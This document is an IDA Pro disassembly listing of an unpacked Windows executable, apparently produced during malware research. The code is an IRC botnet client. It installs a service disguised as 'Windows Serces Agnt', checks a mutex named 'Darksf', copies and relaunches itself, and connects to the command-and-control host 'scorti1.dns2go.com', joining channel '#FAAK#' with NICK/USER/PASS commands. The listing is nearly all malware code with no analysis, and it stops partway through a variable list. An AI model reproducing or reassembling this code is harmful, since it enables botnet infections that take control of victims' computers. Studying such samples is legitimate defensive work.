; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 93AA93B210569B39600D7B8B4567BE5B ; File Name : u:\work\93aa93b210569b39600d7b8b4567be5b_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_4188A6+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB988 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B9C0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB9F8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB938 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB9B0 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427220[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:004169EAp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BEB5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BEA2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BBE2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BAFA add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA91 push edi call sub_41BA3B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E91C call dword_4CBA6C call sub_40B583 call dword_4CB92C call dword_4CB92C mov ebx, dword_427080 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BF70 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43DB88 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 26A0000h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2690000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2680B8Eh test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427070 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43DB80 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418BD1 pop ecx mov dword_4CB710, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B0 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB714, eax call esi push eax call sub_41C2B8 pop ecx call sub_409909 push 2 call dword_4CBA80 push 7530h push offset aDarksf ; "Darksf" push ebx push ebx nop call near ptr 26C0000h push eax call near ptr 26B0D3Ch nop cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB944 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 26A0000h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 26B0C06h push eax nop call near ptr 2690000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C3B1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429AC8 lea eax, [ebp-5F4h] push esi push eax call sub_41C360 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C2E0 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41B9C0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B9C0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC0 push eax call sub_41C266 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 26B0B43h nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax call near ptr 26B0A02h nop loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427098 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C call near ptr 26B0669h nop cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 26A068Bh lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_4187E0 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 26B0A02h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BF70 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BF70 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43DB88 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 26B0604h push eax push esi push 100000h loc_401495: ; DATA XREF: ___:off_433094o nop call near ptr 26B0000h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB4 push eax call sub_41C266 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 2680B8Eh nop test eax, eax jz short loc_401516 push 0C8h nop call near ptr 26A068Bh push dword ptr [ebp-20h] mov esi, dword_427070 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB92C push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DBDF8, 2 jle short loc_401562 mov eax, dword_4DBDFC push dword ptr [eax+4] call sub_41C159 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26B0D3Ch push esi nop call near ptr 26808BBh mov eax, dword_4DBDFC cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 26A068Bh mov eax, dword_4DBDFC push dword ptr [eax+8] call near ptr 26A0927h nop loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CBAA4, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429A98 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3BA lea eax, [ebp-0A0h] push eax call sub_415D38 push 0B80h push ebx push offset dword_43DB90 call sub_41BF70 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A74 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3BA add esp, 14h mov esi, eax mov edi, dword_427084 lea eax, [ebp-8] push eax push ebx push ebx push offset byte_419F4D push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_401622 nop call near ptr 26B0669h push eax lea eax, [ebp-0A0h] push offset unk_429A34 push eax call sub_41C266 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_415D38 push 2 call sub_40B602 pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429A08 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BFD push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_40169A nop call near ptr 26B0669h push eax lea eax, [ebp-0A0h] push offset dword_4299D4 push eax call sub_41C266 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_415D38 pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41C2C2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C mov dword_4CB888, eax call sub_41BFD0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB79C push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh mov esi, offset dword_4CB7DC push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword_4CB870, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB718 mov dword_4CB884, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB884, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 26A068Bh nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C call sub_41BFD0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CB71C call sub_41BFD0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B583 loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB92C loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+654Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB9D4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8F0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40AE84 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E928 push edi push eax call sub_41BFD0 add esp, 28h push 6 push 1 push 2 call dword_4CBA54 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E91C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CBA6C call sub_40A919 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 26A068Bh jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD0 call sub_415DAC push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CBA6C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B6D6 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C500 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB880, bl jz short loc_40199A push offset byte_4CB880 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409823 add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CBA6C push 1388h nop call near ptr 26A068Bh loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_4184CC pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 26A068Bh jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h 